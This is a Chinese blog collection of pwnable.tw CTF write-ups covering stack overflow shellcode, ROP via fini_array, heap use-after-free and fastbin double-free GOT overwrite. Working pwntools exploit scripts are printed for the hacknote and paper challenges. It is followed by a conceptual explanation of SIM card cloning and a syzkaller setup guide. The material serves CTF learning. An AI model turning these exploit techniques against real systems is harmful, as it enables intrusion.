男票带我练CTF之StartOrw317

这里把pwnable.tw上前面的几个题放在一起写篇博客,分别是:

  • start
  • orw
  • 3x17

1 start

1.1 题目

https://pwnable.tw/challenge/#1

1.2 分析

首先,查看文件属性和开启的保护措施:

image

运行起来试试:

image

IDA查看二进制文件start:

image

image

发现除了_start和_exit没有熟悉的main函数,使用IDA查看伪代码也不是一个正常的函数,原因在于这是一个纯汇编代码。

因此我们需要看懂这段汇编都做了些什么:

1 压了_exit函数的地址

2 清eax,ebx,ecx,edx

3 压字符串,20个字节

4 分别给eax,ebx,ecx,edx赋值(4,1,esp,20),然后int 80h系统调用

5 清ebx,给eax,edx赋值(3,60),然后int 80h系统调用

6 esp加20个字节收回栈空间

7 根据栈上的返回地址(_exit)返回

可以看到有两次系统调用(eax是系统调用号,然后ebx,ecx,edx,esx,edi分别放置系统调用的参数)。查表可知4对应的系统调用是write,3对应的是read。

因此以上4和5可以翻译成:

write(1,esp,20); // 从栈上读20个字节到标准输出(读内存)
read(0,esp,60);  // 从标准输入写60个字节到栈上(写内存)

很明显是个栈溢出,read的60个字节会覆盖到返回地址exit。

image

1.3 利用

exit被覆盖后,就控制了eip,此时应该让eip指向哪儿才能get shell呢?当然是指向我们构造的一段shellcode,shellcode应该放哪儿呢?如果放在栈上,但此时我们并不知道栈的地址,那么能不能泄露栈地址呢?再看一下汇编代码:

image

第一次执行完retn之后,esp指向下图位置:

image

如果此时从08048070处开始执行,就可以将old esp的值打印出来,old esp = esp+4。并且可以继续从此esp指向的位置写0x3C字节,如下图所示,esp往上是第二次的输入,我们可以好好构造这次输入,让下次执行retn时,再一次劫持eip(即ret addr),将ret addr覆盖为shellcode addr即可。

image

现在重新理一下,oldesp是write系统调用时泄露出来的,因此shellcode addr是old esp+0x14。那么现在需要找一段合适的shellcode来get shell。

在http://shell-storm.org/shellcode/找到一段长度合适的shellcode如下:

image

image

exp如下:

image

执行结果如下:

image

image

1.4 记录

1.4.1 pwntools的使用

https://pwntools.readthedocs.io/en/stable/about.html

http://brieflyx.me/2015/python-module/pwntools-intro/

pwntools的cyclic:

https://www.cnblogs.com/liuyimin/p/7379985.html

1.4.2 gdb-peda的使用

https://introspelliam.github.io/2017/08/03/pwn/gdb%E7%9A%84%E8%B0%83%E8%AF%95%E4%B8%8E%E4%BD%BF%E7%94%A8/

pwntools + gdb:

http://docs.pwntools.com/en/stable/gdb.html?highlight=gdb#module-pwnlib.gdb

1.4.3 shellcode database

http://shell-storm.org/shellcode/

2 orw

2.1 题目

https://pwnable.tw/challenge/#2

2.2 分析

首先,查看文件属性和开启的保护措施:

image

运行起来试试:

image

IDA查看二进制文件orw:

image

伪代码如下:

image

【orw_seccomp()是一个设置函数,这里的作用是设置只能使用open,read,write三个系统调用。具体原理参考2.4.2中。】

read从标准输入读取数据放到shellcode地址处,然后转到shellcode处去执行代码。

shellcode地址如下:

image

view, open subviews, segments查看bss段属性:

image

【这里显示不可执行,但checksec中RWX属性为has RWX segments且实际shellcode放到bss段中后可执行,这里目前还不知道是为什么???】

2.3 利用

题目只允许使用open,read,write三个系统调用函数,因此通过这三个函数实现打开/home/orw/flag文件,将其读到bss段或者栈中,然后再将bss或栈中的数据写到标准输出(即屏幕上)打印。

image image

payload对应的汇编代码:

image

执行得到flag:

image image

2.4 记录

2.4.1 64位ubuntu安装32位库

ubuntu 64位版本,安装支持32位程序的二进制库。

sudo dpkg –add-architecture i386

sudo apt-get update

sudo apt-get install zlib1g:i386 libstdc++6:i386 libc6:i386

2.4.2 seccomp和prctl

https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/

https://www.jianshu.com/p/62ede45cfb2e

https://veritas501.space/2018/05/05/seccomp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

2.4.3 pwnlib.shellcraft.i386

这次题目中只用到了两个重要的函数。

第一个是将字符串push到栈中,此时esp指向的就是这段字符串。

pwnlib.shellcraft.i386.pushstr(string, append_null=True)

>>>print shellcraft.i386.pushstr('aaaa').rstrip()
  /* push 'aaaa\x00' */
  push 1
  dec byte ptr [esp]
  push 0x61616161

第二个是系统调用,syscall是要调用的函数(eax存放系统调用号),后面紧接着的是各个参数(ebx,ecx,edx等)(参数可以是某个寄存器,如’esp’)。

pwnlib.shellcraft.i386.linux.syscall(syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None)

>>> print pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 1, 'esp', 2, 0).rstrip()
    /* call execve(1, 'esp', 2, 0) */
    push SYS_execve /* 0xb */
    pop eax
    push 1
    pop ebx
    mov ecx, esp
    push 2
    pop edx
    xor esi, esi
    int 0x80

参考别人的writeup,发现简洁写法(因为提前用context设置了目标环境):

image

3 3x17

3.1 题目

https://pwnable.tw/challenge/#32

3.2 分析

查看文件类型和开启的保护机制:

image

是去了符号表的,且静态链接。因此IDA的F5基本上没用了,只能纯看汇编。先执行看看:

image

属于addr和data,这里猜测会是将data写到addr上。 后续查看汇编代码,确实是这样。

IDA打开二进制文件,只有start函数:

image

不知道以上各地址和寄存器的值代表什么内容,因此自己写了个printf(“hello world!\n”)的小程序,使用IDA打开,找到start对应的汇编,如下:

image

因此3x17的start可解析为下图:

image

64位汇编参数传递规则如下:

image

因此

__libc_start_main(mian[sub_401B6D], argc, ubp_av, init [loc_4028D0], fini[sub_402960], rtld_fini)

main函数代码如下:

image

sub_40EE70具体做了什么,看汇编代码太复杂,因此通过gdb调试看结果,使用gdb在401BED处下断点。

image

断点处信息如下:

image

执行完该函数之后,返回值会存放在RAX中。刚刚输入的是12345,返回值为0x3039,即12345的十六进制,因此该函数就是将输入的十进制数转换为一个十六进制地址。

image

init是执行main函数之前会执行的,而fini是main执行完后执行的函数。

因此考虑用任意地址写去覆盖fini的执行流程。如下是fini的汇编代码,在4B40F0处分别调用两个函数,且调用顺序是先fini_array[1]后fini_array[0]。那么只要将数组中的地址覆盖为我们想要的地址,就可以控制程序去执行了。

image

image

3.3 利用

获得以上信息之后,我们需要考虑,应当让fini_array的两个函数地址分别被覆盖为什么,才能达到利用的目的。利用就是get shell。在程序中使用strings搜索“/bin/sh”无果,因此一步完成get shell是不可能的,需要寻找其他方法。

main函数中可以实现任意地址写,如果将fini_array[1]的地址指向main,那么似乎就可以继续任意地址写。查看main函数,发现byte_4B9330为1时才能进入任意地址写操作,而我们第二次进入该函数时byte_4B9330已经为2了。怎么办呢?但是看看前面的int8,这是一个8位无符号整形,因此不用加多久,就整数溢出又变成1了。

image

那么怎么让main一直被调用呢?剩下的fini_array[0]就派上用场了。

image image

把fini_array[1]和fini_array[0]分别覆盖为main和调用array的fini函数,就可以实现如下循环。

image

这样就可以不限次数的任意地址写了。但是往哪里写,写什么内容呢?因为没有可写可执行段,因此直接把shellcode布置到内存空间中跳转执行是不可能的。那么就只能考虑ROP了,但不知道栈的位置,也没法去布置栈空间实现ROP。不过RIP是我们可以控制的,因此只要存在某一刻rsp会被泄露出来,那么只要在这一刻之前把对应地址空间布置好,那么就可以不断地ret然后把ROP链串起来啦。

回到fini函数中,rbp原本的值被暂时存放在栈中,这里以rbp做临时寄存器,存放了fini_array的起始地址,此时rbp=0x4B40F0。

image

如果call指令能跳转到leave; ret; 这样的指令去,那么就可以控制rsp的地址了。如下是main函数中一条合适的指令:

image

rbp = 0x4B40F0

leave:
mov rsp,rbp          rsp = 0x4B40F0, rbp = 0x4B40F0
pop rbp                 rsp = 0x4B40F8, rbp = fini_array[0]

ret:
pop rip                  rsp = 0x4B4100, rip = fini_array[1]

这里必须让fini_array[1]为main,fini_array[0]为0x401C4B。这样rip被控制再去执行一次main函数,利用最后的ret,使rip从0x4B4100处执行,这里是我们提前布置好的空间。

那么接下来的工作就是怎么布置0x4B4100以上的空间,通过ROP的方式获取shell。

一条简单的获取shell的命令:

image

32位系统上通过int 80进行系统调用,64位系统上通过syscall指令实现。根据以上代码,需要控制rax为59(execve的系统调用号,0x3B),rdi为字符串“/bin/sh\x00”的地址,rsi为0,rdx为0。因此rsp指向位置的ROP链应如此布置:

pop_rax
0x3B
pop rdi
addr_of_bin_sh
pop rsi
0
pop rdx
0
syscall

最后,字符串“/bin/sh\x00”随便找一块可写的空间写上去就行。

寻找gadget:

image

image

image

image

image

写exp:

image

执行获得flag:

image

3.4 记录

3.4.1 64位汇编参数传递

http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stack-intro-zh/

Read More

男票带我练CTF之hacknote

1 题目

题目链接:https://pwnable.tw/challenge/#5

image

提供了一个二进制文件hacknote和一个库libc.so。

2 分析

首先分析一下这个题目的可执行程序。这是一个32bit的可执行程序,动态链接且去了符号表。该二进制程序符号表可读可写,开启了栈不可执行和canary保护,没有开启地址随机化。 image 执行以下试试。如下图,该程序提供了几个功能,添加/删除/打印笔记。我们用IDA看看这些功能的实现。 image (1)add note功能 image Add操作只能执行5次。Sub_804862B函数如下,将a1+4这个地址处的指针取出,然后利用puts将该指针指向的内容进行打印。 image Chunk1和chunk2的关系如下图所示: image (2)delete note功能(这里存在漏洞点) image 可以看到,delete函数将chunk2和chunk1释放掉后,并没有将指向各chunk的指针ptr[v1]置NULL,导致了悬空指针的产生。

(3)print note功能 image

3 利用

利用主要从两个方面去考虑(以第2节中chunk1和chunk2的图为例): 1、puts的内容就是chunk2中的内容,因此考虑将chunk2中的内容覆盖为我们想要的东西。如libc中某个函数的地址,这样我们就可以计算得到libc的基址,从而知道任意一个libc函数在动态执行时的地址。 2、chunk1的的内容部分,前四个字节是一个函数指针,如果我们能控制这个chunk的前四个字节,就可以实现任意地址执行,劫持EIP。然而chunk1的内容并非我们能轻易改动的,因此需要结合glibc的堆管理机制中存在的漏洞,使chunk1的内容变得可控,且依然满足原来可执行的特性。从这里可以看出,我们需要两个不同的对象操作同一块内容,本质就是UAF。

3.1 获取libc基址

3.1.1 本地调试时libc的基址

本地调试时,可以在gdb中方便地获取到libc的基址,为0xf7e07000。 image

3.1.2 本地动态调试,获取libc中main_arena结构体中top的地址

Unsorted bin有一个特性,就是链表中第一个chunk的fd和bk均指向main_arena结构体中的top位置。因此只要我们泄露出这个地址,加上题目提供的libc,就可以轻松计算出libc在实际场景中的基址了。

首先add一个64字节的note,再add一个10字节的note,然后delete掉第一个note。此举的目的是使第一个note中大于fastbin的堆块不被top chunk给合并掉,从而该堆块可以进入unsorted bin。 image 再次申请64字节的空间,堆管理器会把unsorted bin中的chunk再次分配给我们,此时index 2和index 0指向同一块堆内存区域。此时输入的内容只要不覆盖到unsorted bin中那个chunk的bk位置,就可以在成功分配后,调用print打该内存区域,获得main_arena中top的地址(地址是不可显示字符,所以显示乱码)。 image image image

3.1.3 远端的libc中top相对libc基址的偏移

Libc库中的Malloc_trim函数中存在main_arena结构体,如下图位置: image 查看main_arena在libc库中的偏移为0x001B0780。按照main_arena结构体与unsorted bin的关系(如下图),可知第一个被归档到unsorted bin的chunk,其fd与bk应当指向0x001B0780+0x30=0x001B07B0。 image 因此unsorted bin中返回的值,与libc基址的偏移为0x001B07B0。

那么libc_base = addr(dongtai_top) – 0x001B07B0,因此只需要用3.1.2中的方法将top的地址泄露出来,就可以计算出libc的基址啦。

3.2 劫持EIP

思路:申请note时会建立chunk1(8byte)和chunk2(跟chunk1不同的大小就行),若再申请一个note,此时又会建立chunk1和chunk2。将这两个note删除后,chunk1和chunk1会被链到同一大小(8byte)的fastbin上,chunk2和chunk2会被链到其他大小的fastbin上。如果此时再申请一个8byte的note,就会将chunk1`和chunk1分别作为puts函数堆和内容堆。这个时候,chunk1被index 0和index2同时锁定。我们通过index 2 更改chunk1中的内容,然后通过index 0 去执行被替换掉的函数指针。

具体操作如下:

先申请两个大小为30的note,然后删除掉这两个note image 再add一个大小为8的note,此时会将fastbin上大小为8的chunk进行分配。如下图,从上往下,第一个chunk已经被写入555了。 image 此时print 2得到如下结果。print 0 会报段错误,eip被覆盖成了555(即最后申请大小为8的堆时输入的content)。说明我们可以通过这种方式控制eip指针。 image image

EXP如下:

from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./hacknote')
mylibc = ELF('./libc_32.so.6')
io = remote('chall.pwnable.tw',10102)

def add_note(size,content):
    io.recvuntil("choice :")
    io.sendline("1")
    io.recvuntil("size :")
    io.sendline(str(size))
    io.recvuntil("Content :")
    io.sendline(content)

def del_note(index):
    io.recvuntil("choice :")
    io.sendline("2")
    io.recvuntil("Index :")
    io.sendline(str(index))

def print_note(index):
    io.recvuntil("choice :")
    io.sendline("3")
    io.recvuntil("Index :")
    io.sendline(str(index))


add_note(64,"12")
add_note(32,"12")
del_note(0)
add_note(64,"45")
print_note(2)

libc_addr = u32(io.recv(8)[4:8]) - 0x1b07b0
sys_addr = libc_addr + mylibc.symbols['system']

# add_note(8,"12")
# add_note(8,"34")
# del_note(3)
# del_note(4)
del_note(0)
del_note(1)
add_note(8,p32(sys_addr)+";sh\x00")
print_note(0)
io.interactive()

4 记录

unsorted bin attack

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack-zh/

Read More

男票带我练CTF之paper

题目文件链接:https://xuanxuanblingbling.github.io/assets/pwn/paper

1、寻找漏洞点

拿到ELF后,先看看它的一些信息。

  • File查看文件格式
  • Checksec查看开启的安全编译选项
  • 运行一下看看都有哪些功能
  • 使用IDA看看伪代码,理解整个二进制程序的功并查找漏洞点。

image

64位程序,动态链接,没有去符号表,got表可写可读,开启栈不可执行和canary保护,没有做地址随机化。

image

程序提供两个功能,增加paper和删除paper,paper中可以存放指定大小的数据。

image

IDA查看程序实现,关注add_paper和delete_paper。

image

Add paper中申请一块堆,然后存放数据。这个函数实现各项检查都做得很好,没发现漏洞点。

image

Delete paper中free掉指向堆的link_list[index]指针后,没有将该指针置NULL。导致一个悬空指针的产生《对几类危险的指针,见本文的记录——三类漏洞指针》。

2、利用分析

堆管理机制中,对于较小的堆块,采用fastbin的方式进行回收(本题中要求堆块小于0x80,这样free操作之后,该chunk会被链接到fastbin上)。本题中,申请的最大堆内存为1024Byte,所以要控制申请的堆大小不超过0x80。

根据fastbin的单向链表及其他特性《见记录——fastbin attack》,我们需要通过double free在fastbin的链表中构造一个环(如下图)。然后申请一个与chunk1、chunk2相同大小的堆,此时会返回chunk1给线程使用,于是可以更改chunk1中的数据(如将“fd”位置处的值改为我们的目标地址)。下一次malloc时分配chunk2,再下一次分配时依然是chunk1,但此时main_arena已经指向目标地址处(如果目标地址合理)了。此时再malloc一次,就可以实现对该地址空间写任意值了。

image

这样接下来的目标就是,往哪里写才能getshell呢?

要getshell就必须控制指针的执行流,使其执行我们构造的提权函数或者直接去执行该二进制文件中已有的提权函数。

(1)寻找或构造提权函数(这里以ELF中自带提权函数为例)

回到ELF文件,搜索“/bin/sh”或system函数,看是否存在这种后门,使利用更加简单。在string窗口中搜索“/bin/sh”,查看其引用gg,发现gg中会调用system(“/bin/sh”)。

image

image

image

至此,我们的提权函数就找到了!那么怎样才能让程序流乖乖地来执行我们的提权函数呢?

(2)替换函数内容或替换函数指针(这里以替换函数指针为例)

控制执行流的做法通常是将原本要执行的函数进行替换,替换函数指针或者替换掉函数内容。

这里我们已经有了一个提权函数gg,且ELF并未开启地址随机化,那么首先想到的是控制某个函数指针指向gg。也就是说要把gg函数的地址0x00400943写到某个会被当做“函数指针”的地址0x12345678上去,这样当原本程序流从该0x12345678上取值并跳转执行时,就会执行gg函数了。

image

往哪里写这个gg函数地址呢?回到ELF文件,逆向查看伪源码,源码中并未定义有用的函数指针,但是栈上的返回地址可以作为考虑的一个选项。另外一种方法,就是去覆写got表了,具体做法是更改该got表的某个表项内地址为gg函数地址。这样当程序执行到该got表中函数(如printf、puts、gets等等)时,便会去执行我们的提权函数啦。

那么最后,怎么获取到got表的地址以及该got条目的地址呢?由于本题的ELF未开启地址随机化,所以可直接通过IDA查看got表的起始地址以及各表项的具体地址。然而,对于开启随机化的ELF,就需要我们想办法去泄露got表地址了,这个方法在这篇文章中不予讨论。

可以看到该ELF的got表条目如下,got表地址为0x00602000。

image

到这里利用思路基本明确了,就是将chunk1中fd的地址替换成got表中某一项(会执行到的函数)的值,然后将该项的值改成gg函数地址。

那么这个got表中的地址需不需要满足什么条件呢?答案是必须的!main_arena把chunk从fastbin链表上卸下来的时候,会去检查该chunk中fd指向的另一chunk是否为合法chunk。合法chunk的特征是什么呢?就是目标chunk数据区之前的八个字节(64位下)必须是合法的size值,标志这个chunk的大小。Ps:其实只要这八个字节的低四字节满足就可以了。

因此我们需要在上述got表中,寻找满足这种条件的地址。如下图,标记颜色的五个部分满足低四个字节为0x00000040或0x00000060,这可以是一个合法的size值。

image

但是选哪个作为目标地址呢,还需要结合got表项进行考虑。

  • 选0x602002处作为chunk的size部分
  • 选0x60201a处作为chunk的size部分
  • 选0x602032处作为chunk的size部分
  • 选0x60203a处作为chunk的size部分

如果我们想覆写printf函数,即0x602040处的值,那么得使用0x602032处作为chunk的size部分。此时整个chunk的起始地址是0x60202a。可任意写的数据区从0x60203a开始。由于system函数在0x602038至0x60203f区间,因此0x60203a至0x60203f的值需要保持不变。需要将0x602040至0x602047的值改为gg函数地址。因此需要往0x60202a写入的内容为:\x40\x00\x00\x00\x00\x00+gg地址

因为最终选择的chunk size(包含chunk头)为0x40,所以申请的堆内存大小必须是0x30。接下来可以写利用代码了。

3、EXP

from pwn import *
context(os="linux",arch="amd64",log_level="debug")

e = ELF("./paper")
io = process(e.path)

def add_paper(index,length,content):
    io.recv()
    io.sendline("1")
    io.recv()
    io.sendline(str(index))
    io.recv()
    io.sendline(str(length))
    io.recv()
    io.sendline(content)

def delete_paper(index):
    io.recv()
    io.sendline("2")
    io.recv()
    io.sendline(str(index))
    
add_paper(1,0x30,"111")
add_paper(2,0x30,"222")

delete_paper(1)
delete_paper(2)
delete_paper(1)

add_paper(3,0x30,p64(0x0060202a))
add_paper(4,0x30,"444")
add_paper(5,0x30,"555")
add_paper(6,0x30,"\x40\x00\x00\x00\x00\x00"+p64(e.symbols["gg"]))

io.recv()
io.sendline("t")
io.interactive()

执行成功,getshell!

image

4、记录

三类漏洞指针

1、空指针:指向NULL的指针,若使用指针前未判断其是否为空,可导致程序崩溃。

2、悬空指针:也称迷途指针,指向一段已释放的内存单元的指针,可导致UAF等漏洞。

3、野指针:指向一段未初始化内存单元的指针。

fastbin attack

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/

GOT表与PLT

https://blog.csdn.net/qq_18661257/article/details/54694748

https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html

pwntools的使用

https://www.cnblogs.com/Ox9A82/p/5728149.html

5 pwn环境安装

由于这题必须在ubunut1804环境下利用,所以整个pwn的做题环境又需要重新搭一遍。为了以后再遇到这种情况时,可以迅速完成环境搭建,这里做一下记录。

安装python

这里以最简单的命令行安装方式为例:

$ sudo apt install python3       
$ sudo apt install python  

安装pwntools

安装python2版本的:

$ apt-get update
$ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
$ pip install --upgrade pip
$ pip install --upgrade pwntools

安装gef

ubuntu中下载gef.py不成功,因此跑去github直接下载源文件:

gef网址

# 下载gef.py至/home/xxx用户根目录
$ mv gef.py .gdbinit-gef.py
$ echo "source ~/.gdbinit-gef.py" >> ~/.gdbinit

安装peda

peda网址

$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit

安装onegadget

$ sudo apt -y install ruby
$ sudo gem install one_gadget 

安装pwndbg

$ git clone https://github.com/pwndbg/pwndbg
$ cd pwndbg
$ ./setup.sh
$ echo "source ~/pwndbg/pwndbg.py">> ~/.gdbinit

reference

GDB的三个插件(gef gdbinit peda)超简单安装

ctf 环境安装

Read More

SIM卡复制原理

SIM卡复制原理

GSM手机要想得到GSM系统的服务需要插入一张SIM卡。因为GSM系统是通过SIM卡来识别用户的,而不是基于手机来识别。

移动终端上必须装上sim卡才能使用,sim卡是整个GSM系统(全球移动通讯系统)中唯一确认用户身份的设备。

常用缩写

SIM,Subscriber Identification Module,客户识别模块(也称用户身份识别卡)。

IMEI,国际移动设备识别码。由15位数字组成,每台手机对应一个IMEI,为全世界独一无二的。

MEID,移动设备识别码。由14位十六进制字符组成。

IMSI,国际移动用户识别码。通过IMSI可反查运营商、归属地、手机号码等信息。

sim卡的演进

1991年,德国捷德公司开发了世界第一张SIM卡,大小是一个名片的大小。此类卡是标准SIM卡,也叫“原卡”。

中国移动通信起步较晚,没赶上“原卡”时代,因此我们一开始接触到的是Mini SIM卡。再之后由于手机逐步小型化,2010年出现了Micro SIM卡,首先使用在苹果公司的产品上,如ipad、iphone4。2011年,苹果公司提出了更小的sim卡标准——Nano SIM卡。

image

以上的演进,说白了就是剪卡过程,并不是什么技术演进。

但是Nano SIM卡还是占据较大的空间,在小型可穿戴设备上不实用,而且卡槽中放卡的方式不稳定。因此发展出了eSIM卡Embeded-SIM,直接嵌入到电路板上。

但是eSIM仍然是一个硬件。现在还出现了依靠操作系统软件实现SIM卡功能的softSIM和vSIM,这样就完全告别实体SIM卡片了。

伴随着网络变化,sim卡的变化:

  • SIM卡存在无法接入LTE/IMS网络的局限性
  • USIM可接入LTE/2G/3G网络,但不存储IMS网络相关的用户信息,因此接入VoLTE网络时,还需要通过终端导出IMS注册时所需要的用户码号信息。
  • ISIM卡是在USIM卡的基础上,增加了ISIM模块,专门用于存储IMS网络相关用户码号和归属地信息。可以通过读取ISIM模块中的信息直接接入VoLTE网络。

sim卡硬件特性

sim卡是一个装有微处理器的芯片卡。

下面看一看实际的sim卡长什么样:

image

sim卡通过这些铜制接口将卡内逻辑电路与移动终端连接起来。其中与移动终端连接的有如下六个触电:电源(Vcc),复位(RESET),时钟(CLK),接地端(GND),编程电压(VPP),数据I/O接口(Data)

sim卡硬件内部包含如下五个模块:

  • 微处理器cpu,8位
  • 程序存储器ROM,3~8kbit
  • 工作存储器RAM,6~16kbit
  • 数据存储器EPROM,128~256kbit
  • 串行通信单元

使用时,手机会向sim卡发送命令,sim卡根据标准规范执行后,给手机反馈执行结果。

## sim卡的功能

1、存储数据:

  • 固定数据:这类数据在ME(Mobile Equipment)被出售之前由SIM卡中心写入,包括国际移动用户识别号(IMSI)、鉴权密钥(KI)等
  • 临时数据:指的是网络相关的的临时数据,如位置区域识别码(LAI)、移动用户暂时识别码(TMSI)、禁止接入的公共电话网代码等
  • 业务代码:如个人识别码(PIN)、解锁码(PUK)、计费费率等
  • 电话号码、短消息等用户记录

(以上四类数据,除第一类只有专业部门能查阅和更新外,其他几类都是手机可查阅和更新的)

2、PIN码保护

3、用户身份鉴权

4、SIM卡中的保密算法及密钥

sim卡认证

SIM卡中没有存储本机号码,仅有IMIS号。当我们在营业厅申请并注册手机号时,运营商将手机号码与SIM卡的IMSI号、序列号以及鉴权密钥Ki做登记,储存在数据库里。

SIM卡插入到手机中开机时,手机向SIM卡请求IMSI,然后把IMSI发送给运营商。运营商在数据库中查找是否存在这个IMSI并判断是否为合法用户,然后获得这个IMSI对应的手机号码和鉴权密钥Ki。

运营商再生成一个随机数RAND,然后将该随机数发送给手机。手机接收到随机数RAND后,将该随机数RAND发送给SIM卡。SIM卡利用RAND和鉴权密钥Ki通过A3算法生成应答SRES,将SRES发送给手机,再由手机转发给运营商。运营商在本地利用RAND和对应的鉴权密钥Ki进行相同的运算,得到X-SRES,并比较SRES和X-SRES是否相同,相同的话就说明这个卡是合法的,允许其接入网络。

上一步骤中,手机端收到RAND时,同时还会让SIM卡利用RAND和Ki计算出一个通信用的加密密钥Kc,计算时用的算法称之为A8。由于A3和A8接受的输入相同,因此实现者偷了个懒,用一个算法同时生成SRES和Kc。

之后的通信过程中,使用加密密钥Kc和A5算法对通信内容进行加密。由于通信内容的加密量巨大,SIM卡无法快速处理如此多的加密需求,因此通信过程中的加密都是在手机上完成的。因此,所有的GSM手机都必须至少支持一种相同的A5算法,否则就无法漫游了。这时候运营商和设备商又偷了个懒,全世界目前都只用一种A5算法。这个算法的做法就是和Kc的8字节序列进行简单的循环XOR,再和报文序号做个减法。

sim卡复制

从以上SIM卡认证原理中,我们知道IMSI和Ki是必不可少的,A3算法也必须知道。IMSI可以通过手机将其从SIM卡中读取出来,但是A3算法和鉴权密钥Ki是无法直接获取的,只能通过某种方法破解。

A3算法一直被作为高级商业机密保护起来。但在1998年左右,有个人泄露了几页关于A3算法的文档到网络上。加州伯克利的几个教授拿到这个文档后,对照着SIM卡研究了一阵,最终将A3算法破解了。这个算法又叫做Comp128。

怎么获取Ki呢?两个思路,一种是把SIM卡拆掉然后接到特殊设备上将Ki读取出来,另一种是利用Comp128去暴力破解、穷举。前一种方法就像用小刀在硬盘上刻操作系统一样不靠谱。后一种方法有一定的限制,SIM卡中的逻辑是一共只能查询2^16次左右,之后卡就不可用了。因此,研究者们只能在可接受的次数之内,通过构造特定明文和分析输出的密文来破解Ki的值。这种方法最终成功了。

由于SIM复制设备越来越多,运营商们不得不发行新算法的卡,这个算法叫做Comp128 v2。这个算法目前为止还没被破解。

reference

SIM卡实现原理:https://www.jianshu.com/p/8c9374f5e581

4G LTE 网只能提供数据服务,不能承载语音通话,该怎么理解?https://www.zhihu.com/question/22365275

SIM卡复制原理:https://cn.club.vmall.com/thread-2454925-1-1.html

关于SIM和eSIM,看这一篇就够啦!https://zhuanlan.zhihu.com/p/47999705

SIM卡中的A3、A5和A8算法:http://www.360doc.com/content/11/0913/22/3129476_148024343.shtml

什么是伪基站?https://www.zhihu.com/question/36723973

Read More

Syzkaller的编译与使用

1.总览

关于Syzkaller是什么,我就不多说了,介绍的文档很多。直接进入正题吧~

github上英文版的指导中,有些许坑需要自己踩踩,所以将搭建syzkaller的环境记录下来,供之后参考。本文计划搭建如下几个环境(会不断更新):

1. 使用syzkaller去fuzz x86-64架构的linux内核,这个内核是用qemu模拟的。
2. 使用syzkaller去fuzz arm64的手机设备,qemu模拟和实体机都准备尝试一下。
3. 两台通过网络连接的linux机器之间的fuzz。

在正式开始之前,先说一下基本环境。我用来搭建环境的主机是Ubuntu18.04虚拟机,gcc版本是7.5.0。

syzkaller官网对gcc版本的要求是>6.1.0。所以如果你的主机是Ubuntu16.04的话,可以按照安装gcc章节升级一下本地gcc版本。

ubuntu 18.04搭建syzkaller环境,需要做以下四件事情:

  • 1、准备好C编译环境。

  • 2、准备好待测试的Linux kernel,并开启coverage代码覆盖率选项。

  • 3、准备测试机,虚拟机或者物理机。

  • 4、准备好syzkaller源码,并编译。(由于syzkaller是由go语言写的,所以这里需要提前安装好go语言环境)

2.安装GCC

gcc下载地址:gcc下载

宿主机自带的gcc版本过低的话,需要在原本的基础上新装一个高版本的gcc。这里我选择源码安装,并且将它安装到一个单独目录,这样今后想卸载的话,直接删除该目录即可。

  • 解压gcc-7.4.0源码包:tar -zxvf gcc-7.4.0.tar.gz(或者tar -Jxvf gcc-7.4.0.tar.xz
  • 下载安装依赖项:在解压完的源码包中,执行./contrib/download_prerequisites(需更改base_url为http://mirror.linux-ia64.org/gnu/gcc/infrastructure/,如果执行时一直没有进度,考虑加上sudo权限执行)。若执行不成功,则需自行下载安装,步骤如下。
gcc7.4.0依赖的gmp,mpfr和mpc版本如下:
	gmp='gmp-6.1.0.tar.bz2'
	mpfr='mpfr-3.1.4.tar.bz2'
	mpc='mpc-1.0.3.tar.gz'

安装过程参考链接:
https://blog.csdn.net/lwbeyond/article/details/77718040(主要参考该文档)
https://blog.csdn.net/xs1102/article/details/89175293
https://blog.csdn.net/davidhopper/article/details/79681695

安装gmp到configure步骤时,出现“no usable m4”错误:
https://blog.csdn.net/wangqing_12345/article/details/52484723

3 x86-64 linux kernel in qemu

标题解释:这一小节的fuzz对象是linux kernel,架构是x86-64,是使用qemu模拟出来的。

3.1 编译syzkaller

3.1.1 搞定go环境

go官网:点我直达

wget https://dl.google.com/go/go1.14.2.linux-amd64.tar.gz
tar -xf go1.14.2.linux-amd64.tar.gz
mv go goroot
mkdir gopath
export GOPATH=`pwd`/gopath
export GOROOT=`pwd`/goroot
export PATH=$GOPATH/bin:$PATH
export PATH=$GOROOT/bin:$PATH
  • goroot/ 存放go源码

  • gopath/ 是go的工作目录

需要将它们都添加到环境变量~/bashrc中去,然后再source ~/.bashrc更新一下环境变量。

3.1.2 下载syzkaller源码

go get -u -d github.com/google/syzkaller/prog

不要小瞧这一行代码,如果不把代理配置好,咱们在国内的同学可是要下哭。关于代理的配置,之后有空再更新文章吧。

3.1.3 编译syzkaller

cd gopath/src/github.com/google/syzkaller/
make

这里需要注意,如果是在虚拟机中编译,要把虚拟机内存给多一点,比如8G。(我一开始只给了虚拟机4G内存,结果编译不通过)

编译通过后,就可以在syzkaller的bin/下看到二进制文件啦。

image

3.2 编译linux kernel

linux kenrel:点我直达

3.2.1 一切顺利的情况

  1. 下载linux源码
git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
  1. 生成配置文件
cd $kernel
make defconfig
make kvmconfig
  1. 更改.config文件对内核的配置选项或者使用make menuconfig进行配置
# Coverage collection.
CONFIG_KCOV=y

# Debug info for symbolization.
CONFIG_DEBUG_INFO=y

# Memory bug detector
CONFIG_KASAN=y
CONFIG_KASAN_INLINE=y

# Required for Debian Stretch
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
  1. 重新生成config文件
make olddefconfig
  1. 开始编译内核
make -j4

编译完成后,可以在如下目录中看到vmlinux和bzImage文件

$ ls $KERNEL/vmlinux
$KERNEL/vmlinux
$ ls $KERNEL/arch/x86/boot/bzImage
$KERNEL/arch/x86/boot/bzImage

3.2.2 若gcc版本过低

